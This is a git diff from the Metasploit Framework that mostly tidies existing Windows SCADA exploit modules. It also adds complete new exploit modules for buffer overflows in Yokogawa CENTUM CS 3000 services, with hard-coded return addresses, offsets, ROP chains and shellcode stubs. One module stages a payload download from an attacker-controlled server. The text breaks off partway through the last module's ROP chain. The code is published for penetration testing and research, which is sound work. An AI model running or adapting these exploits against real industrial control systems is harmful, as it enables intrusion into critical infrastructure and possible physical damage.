a/modules/exploits/windows/scada/abb_wserver_exec.rb +++ b/modules/exploits/windows/scada/abb_wserver_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'ABB MicroSCADA Pro SYS600 9.3', { } ] ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Apr 05 2013' diff --git a/modules/exploits/windows/scada/citect_scada_odbc.rb b/modules/exploits/windows/scada/citect_scada_odbc.rb index 709606fcd2..2bc03b21f0 100644 --- a/modules/exploits/windows/scada/citect_scada_odbc.rb +++ b/modules/exploits/windows/scada/citect_scada_odbc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb index d9d09d1128..fc6d37bdcb 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com ## diff --git a/modules/exploits/windows/scada/codesys_web_server.rb b/modules/exploits/windows/scada/codesys_web_server.rb index 55dc075415..48a22d1afb 100644 --- a/modules/exploits/windows/scada/codesys_web_server.rb +++ b/modules/exploits/windows/scada/codesys_web_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,10 +12,12 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'SCADA 3S CoDeSys CmpWebServer <= v3.4 SP4 Patch 2 Stack Buffer Overflow', + 'Name' => 'SCADA 3S CoDeSys CmpWebServer Stack Buffer Overflow', 'Description' => %q{ This module exploits a remote stack buffer overflow vulnerability in - 3S-Smart Software Solutions product CoDeSys Scada Web Server Version 1.1.9.9. + 3S-Smart Software Solutions product CoDeSys Scada Web Server Version + 1.1.9.9. This vulnerability affects versions 3.4 SP4 Patch 2 and + earlier. }, 'License' => MSF_LICENSE, 'Author' => @@ -77,14 +79,14 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - sock.put("GET / HTTP/1.1\r\n\r\n") - res = sock.get(-1, 3) + sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n") + res = sock.get_once disconnect # Can't flag the web server as vulnerable, because it doesn't # give us a version - vprint_line(res) - if res =~ /3S_WebServer/ + vprint_line(res.to_s) + if res.to_s =~ /3S_WebServer/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -116,7 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying target #{target.name}...") sock.put(sploit) - res = sock.get_once + res = sock.get_once(-1, 5) print_line(res) unless res.nil? handler diff --git a/modules/exploits/windows/scada/daq_factory_bof.rb b/modules/exploits/windows/scada/daq_factory_bof.rb index e6af676ceb..bf791cc5d9 100644 --- a/modules/exploits/windows/scada/daq_factory_bof.rb +++ b/modules/exploits/windows/scada/daq_factory_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -106,8 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote sploit << rand_text_alpha_upper(finaloffset-egg.length) # The use of rand_text_alpha_upper() ensures we always get the same length for the - # first IP address. See the following for more details: - # http://dev.metasploit.com/redmine/issues/5453 + # first IP address. sploit[12,4] = rand_text_alpha_upper(4) udp_sock.put(sploit) diff --git a/modules/exploits/windows/scada/factorylink_csservice.rb b/modules/exploits/windows/scada/factorylink_csservice.rb index c407ccc27d..d9ccff31a2 100644 --- a/modules/exploits/windows/scada/factorylink_csservice.rb +++ b/modules/exploits/windows/scada/factorylink_csservice.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/factorylink_vrn_09.rb b/modules/exploits/windows/scada/factorylink_vrn_09.rb index 54a840d8de..01c93d561f 100644 --- a/modules/exploits/windows/scada/factorylink_vrn_09.rb +++ b/modules/exploits/windows/scada/factorylink_vrn_09.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb index 4ad7445083..8afbdce80d 100644 --- a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb +++ b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -228,7 +228,7 @@ class Metasploit3 < Msf::Exploit::Remote exe = generate_payload_exe # Padding to be sure we're aligned to 4 bytes. exe << "\x00" until exe.length % 4 == 0 - longs = exe.unpack("l*") + longs = exe.unpack("V*") offset = 0 # gefebt.exe isn't able to handle (on my test environment) long diff --git a/modules/exploits/windows/scada/iconics_genbroker.rb b/modules/exploits/windows/scada/iconics_genbroker.rb index 17fc9ce8c5..13b9ae70c8 100644 --- a/modules/exploits/windows/scada/iconics_genbroker.rb +++ b/modules/exploits/windows/scada/iconics_genbroker.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb index 4b3ddc68f4..76d3ba0e37 100644 --- a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb +++ b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb index 4c4aab2aca..5e5d0fe856 100644 --- a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb +++ b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "7-Technologies IGSS <= v9.00.00 b11063 IGSSdataServer.exe Stack Buffer Overflow", + 'Name' => "7-Technologies IGSS IGSSdataServer.exe Stack Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability in the igssdataserver.exe component of 7-Technologies IGSS up to version 9.00.00 b11063. While processing a ListAll command, the application diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb index 1e1c2b963d..aa2097f34f 100644 --- a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb +++ b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/igss9_misc.rb b/modules/exploits/windows/scada/igss9_misc.rb index 1e8a14043b..41ba050c1b 100644 --- a/modules/exploits/windows/scada/igss9_misc.rb +++ b/modules/exploits/windows/scada/igss9_misc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/igss_exec_17.rb b/modules/exploits/windows/scada/igss_exec_17.rb index df75ffd2f4..ebd1fce53c 100644 --- a/modules/exploits/windows/scada/igss_exec_17.rb +++ b/modules/exploits/windows/scada/igss_exec_17.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb index addf1d8f3a..2c4fa65f6b 100644 --- a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb +++ b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/moxa_mdmtool.rb b/modules/exploits/windows/scada/moxa_mdmtool.rb index 17fb86e0cb..9ac1d96811 100644 --- a/modules/exploits/windows/scada/moxa_mdmtool.rb +++ b/modules/exploits/windows/scada/moxa_mdmtool.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/procyon_core_server.rb b/modules/exploits/windows/scada/procyon_core_server.rb index 938db3f92e..1d592b5fec 100644 --- a/modules/exploits/windows/scada/procyon_core_server.rb +++ b/modules/exploits/windows/scada/procyon_core_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow", + 'Name' => "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability in the coreservice.exe component of Proycon Core Server <= v1.13. While processing a password, the application diff --git a/modules/exploits/windows/scada/realwin.rb b/modules/exploits/windows/scada/realwin.rb index f527ab26b0..bb08a5045c 100644 --- a/modules/exploits/windows/scada/realwin.rb +++ b/modules/exploits/windows/scada/realwin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb index 7be3e9a8a2..49bdb98f4c 100644 --- a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb +++ b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/realwin_on_fcs_login.rb b/modules/exploits/windows/scada/realwin_on_fcs_login.rb index 1560557fd9..3659a25bcb 100644 --- a/modules/exploits/windows/scada/realwin_on_fcs_login.rb +++ b/modules/exploits/windows/scada/realwin_on_fcs_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize.rb b/modules/exploits/windows/scada/realwin_scpc_initialize.rb index 666baacf0f..6639e8f9d1 100644 --- a/modules/exploits/windows/scada/realwin_scpc_initialize.rb +++ b/modules/exploits/windows/scada/realwin_scpc_initialize.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb index 0a4b1f9ba7..ae8957925b 100644 --- a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb +++ b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb index f1505f26dd..1ea64e355b 100644 --- a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb +++ b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb index 2cb98f18fb..4a8e6d2e04 100644 --- a/modules/exploits/windows/scada/scadapro_cmdexe.rb +++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,12 +14,13 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Measuresoft ScadaPro <= 4.0.0 Remote Command Execution', + 'Name' => 'Measuresoft ScadaPro Remote Command Execution', 'Description' => %q{ - This module allows remote attackers to execute arbitray commands on - the affected system by abusing via Directory Traversal attack when using the 'xf' - command (execute function). An attacker can execute system() from msvcrt.dll to - upload a backdoor and gain remote code execution. + This module allows remote attackers to execute arbitray commands on the + affected system by abusing via Directory Traversal attack when using the + 'xf' command (execute function). An attacker can execute system() from + msvcrt.dll to upload a backdoor and gain remote code execution. This + vulnerability affects version 4.0.0 and earlier. }, 'License' => MSF_LICENSE, 'Author' => @@ -102,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote end payload_src = lhost - payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe" + payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe" stager_name = rand_text_alpha(6) + ".vbs" stager = build_vbs(payload_src, stager_name) diff --git a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb index aa4537b426..1360a3e0d3 100644 --- a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb +++ b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/winlog_runtime.rb b/modules/exploits/windows/scada/winlog_runtime.rb index f57cd6f14a..9dc542a090 100644 --- a/modules/exploits/windows/scada/winlog_runtime.rb +++ b/modules/exploits/windows/scada/winlog_runtime.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb index f05b46dc0a..0109243f25 100644 --- a/modules/exploits/windows/scada/winlog_runtime_2.rb +++ b/modules/exploits/windows/scada/winlog_runtime_2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb new file mode 100644 index 0000000000..50988b7a1e --- /dev/null +++ b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb @@ -0,0 +1,106 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow', + 'Description' => %q{ + This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability + exists in the service BKBCopyD.exe when handling specially crafted packets. This module has + been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3. + }, + 'Author' => + [ + 'juan vazquez', + 'Redsadic ' + ], + 'References' => + [ + [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ], + [ 'CVE', '2014-0784'] + ], + 'Payload' => + { + 'Space' => 373, # 500 for the full RETR argument + 'DisableNops' => true, + 'BadChars' => "\x00\x0d\x0a\xff", + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory + }, + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3', + { + 'Ret' => 0x6404625d, # push esp # ret # libBKBUtil.dll] + 'Offset' => 123 + } + ], + ], + 'DisclosureDate' => 'Mar 10 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(20111) + ], self.class) + end + + def check + pkt = build_probe + res = send_pkt(pkt) + if valid_response?(res) + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + + def exploit + data = "RETR " + data << rand_text(target['Offset']) + data << [target.ret].pack("V") + data << payload.encoded + data << "\n" + + print_status("Trying target #{target.name}, sending #{data.length} bytes...") + connect + sock.put(data) + disconnect + end + + def build_probe + "#{rand_text_alpha(10)}\n" + end + + def send_pkt(data) + connect + sock.put(data) + data = sock.get_once + disconnect + + return data + end + + def valid_response?(data) + return false unless !!data + return false unless data =~ /500 'yyparse error': command not understood/ + return true + end + +end + diff --git a/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb new file mode 100644 index 0000000000..18c48e6ff9 --- /dev/null +++ b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa CS3000 BKESimmgr.exe Buffer Overflow', + 'Description' => %q{ + This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability + exists in the BKESimmgr.exe service when handling specially crafted packets, due to an + insecure usage of memcpy, using attacker controlled data as the size count. This module + has been tested successfully in Yokogawa CS3000 R3.08.50 over Windows XP SP3 and Windows + 2003 SP2. + }, + 'Author' => + [ + 'juan vazquez', + 'Redsadic ' + ], + 'References' => + [ + ['CVE', '2014-0782'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/05/09/r7-2013-192-disclosure-yokogawa-centum-cs-3000-vulnerabilities'], + ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf'] + ], + 'Payload' => + { + 'Space' => 340, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + 'Yokogawa Centum CS3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]', + { + 'Ret' => 0x61d1274f, # 0x61d1274f # ADD ESP,10 # RETN # libbkebatchepa.dll + 'Offset' => 64, + 'FakeArgument1' => 0x0040E65C, # ptr to .data on BKESimmgr.exe + 'FakeArgument2' => 0x0040EB90 # ptr to .data on BKESimmgr.exe + } + ], + ], + 'DisclosureDate' => 'Mar 10 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(34205) + ], self.class) + end + + def check + data = create_pkt(rand_text_alpha(4)) + + res = send_pkt(data) + + if res && res.length == 10 + simmgr_res = parse_response(res) + + if valid_response?(simmgr_res) + check_code = Exploit::CheckCode::Appears + else + check_code = Exploit::CheckCode::Safe + end + else + check_code = Exploit::CheckCode::Safe + end + + check_code + end + + def exploit + bof = rand_text(target['Offset']) + bof << [target.ret].pack("V") + bof << [target['FakeArgument1']].pack("V") + bof << [target['FakeArgument2']].pack("V") + bof << rand_text(16) # padding (corrupted bytes) + bof << create_rop_chain + bof << payload.encoded + + data = [0x1].pack("N") # Sub-operation id, <= 0x8 in order to pass the check at sub_4090B0 + data << [bof.length].pack("n") + data << bof + + pkt = create_pkt(data) + + print_status("Trying target #{target.name}, sending #{pkt.length} bytes...") + connect + sock.put(pkt) + disconnect + end + + def create_rop_chain + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x004047ca, # POP ECX # RETN [BKESimmgr.exe] + 0x610e3024, # ptr to &VirtualAlloc() [IAT libbkfmtvrecinfo.dll] + 0x61232d60, # MOV EAX,DWORD PTR DS:[ECX] # RETN [LibBKESysVWinList.dll] + 0x61d19e6a, # XCHG EAX,ESI # RETN [libbkebatchepa.dll] + 0x619436d3, # POP EBP # RETN [libbkeeda.dll] + 0x61615424, # & push esp # ret [libbkeldc.dll] + 0x61e56c8e, # POP EBX # RETN [LibBKCCommon.dll] + 0x00000001, # 0x00000001-> ebx + 0x61910021, # POP EDX # ADD AL,0 # MOV EAX,6191002A # RETN [libbkeeda.dll] + 0x00001000, # 0x00001000-> edx + 0x0040765a, # POP ECX # RETN [BKESimmgr.exe] + 0x00000040, # 0x00000040-> ecx + 0x6191aaab, # POP EDI # RETN [libbkeeda.dll] + 0x61e58e04, # RETN (ROP NOP) [LibBKCCommon.dll] + 0x00405ffa, # POP EAX # RETN [BKESimmgr.exe] + 0x90909090, # nop + 0x619532eb # PUSHAD # RETN [libbkeeda.dll] + ].pack("V*") + + rop_gadgets + end + + def create_pkt(data) + pkt = [0x01].pack("N") # Operation Identifier + pkt << [data.length].pack("n") # length + pkt << data # Fake packet + + pkt + end + + def send_pkt(data) + connect + sock.put(data) + res = sock.get_once + disconnect + + res + end + + def parse_response(data) + data.unpack("NnN") + end + + def valid_response?(data) + valid = false + + if data && data[0] == 1 && data[1] == 4 && data[1] == 4 && data[2] == 5 + valid = true + end + + valid + end + +end diff --git a/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb new file mode 100644 index 0000000000..5cef7ab51a --- /dev/null +++ b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow', + 'Description' => %q{ + This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability + exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create + logs using functions like vsprintf and memcpy in a insecure way. This module has been + tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3. + }, + 'Author' => + [ + 'Redsadic ', + 'juan vazquez' + ], + 'References' => + [ + ['CVE', '2014-3888'], + ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'], + ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow'] + ], + 'Payload' => + { + 'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret) + 'DisableNops' => true, + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3', + { + 'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll + 'Offset' => 438 + } + ], + ], + 'DisclosureDate' => 'May 23 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(20010) + ], self.class) + end + + def exploit + connect_udp + + sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header + sploit << rand_text(target['Offset']) + sploit << [target.ret].pack("V") + sploit << payload.encoded + + print_status("Trying target #{target.name}, sending #{sploit.length} bytes...") + udp_sock.put(sploit) + + disconnect_udp + end + +end + diff --git a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb new file mode 100644 index 0000000000..4766596f52 --- /dev/null +++ b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow', + 'Description' => %q{ + This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability + exists in the service BKHOdeq.exe when handling specially crafted packets. This module has + been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows + 2003 SP2. + }, + 'Author' => + [ + 'juan vazquez', + 'Redsadic ' + ], + 'References' => + [ + [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ], + [ 'CVE', '2014-0783'] + ], + 'Payload' => + { + 'Space' => 6000, + 'DisableNops' => true, + 'BadChars' => ":\r\n" + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]', + { + 'Ret' => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN + 'Offset' => 8660, + 'StackPivotAdjustment' => 108 + } + ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => 10 + }, + 'DisclosureDate' => 'Mar 10 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + # Required for EIP offset + Opt::RPORT(20171) + ], self.class) + end + + def check + # It forces an huge allocation, which should fail, + # and return back an error answer from the server + # while parsing the packet header. + pkt = build_pkt(0xffffffff) + res = send_pkt(pkt) + if valid_response?(res) + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def exploit + my_payload = payload.encoded + rop_chain = create_rop_chain + + data = rand_text(target['StackPivotAdjustment']) + data << rop_chain + data << stack_adjust + data << my_payload + data << rand_text(target['Offset'] - data.length) + data << generate_seh_record(target.ret) + + pkt = build_pkt(data.length, data) + + print_status("Trying target #{target.name}, sending #{pkt.length} bytes...") + connect + sock.put(pkt) + disconnect + end + + def build_pkt(data_length, data = "") + header = rand_text(4) # iMark + header << [data_length].pack("N") # Data length + header << rand_text(4) # NumSet + header << rand_text(2) # req + header << rand_text(2) # Unknown + + pkt = header + data + + pkt + end + + def send_pkt(data) + connect + sock.put(data) + res = sock.get_once + disconnect + + res + end + + def valid_response?(data) + return false unless data + return false unless data.length == 4 + return false unless result_code(data) == 0 + + true + end + + def result_code(data) + data.unpack("N").first + end + + def stack_adjust + adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + + adjust + end + + def create_rop_chain + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x63b27a60, # RET # padding on XP SP3 + 0x63b27a60, # RET # padding on XP SP3 + 0x63b27a5f, # POP EAX # RETN [libbkhMsg.dll] + 0x61e761e0, # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll] + 0x61e641e4, # MOV EAX,DWORD PTR 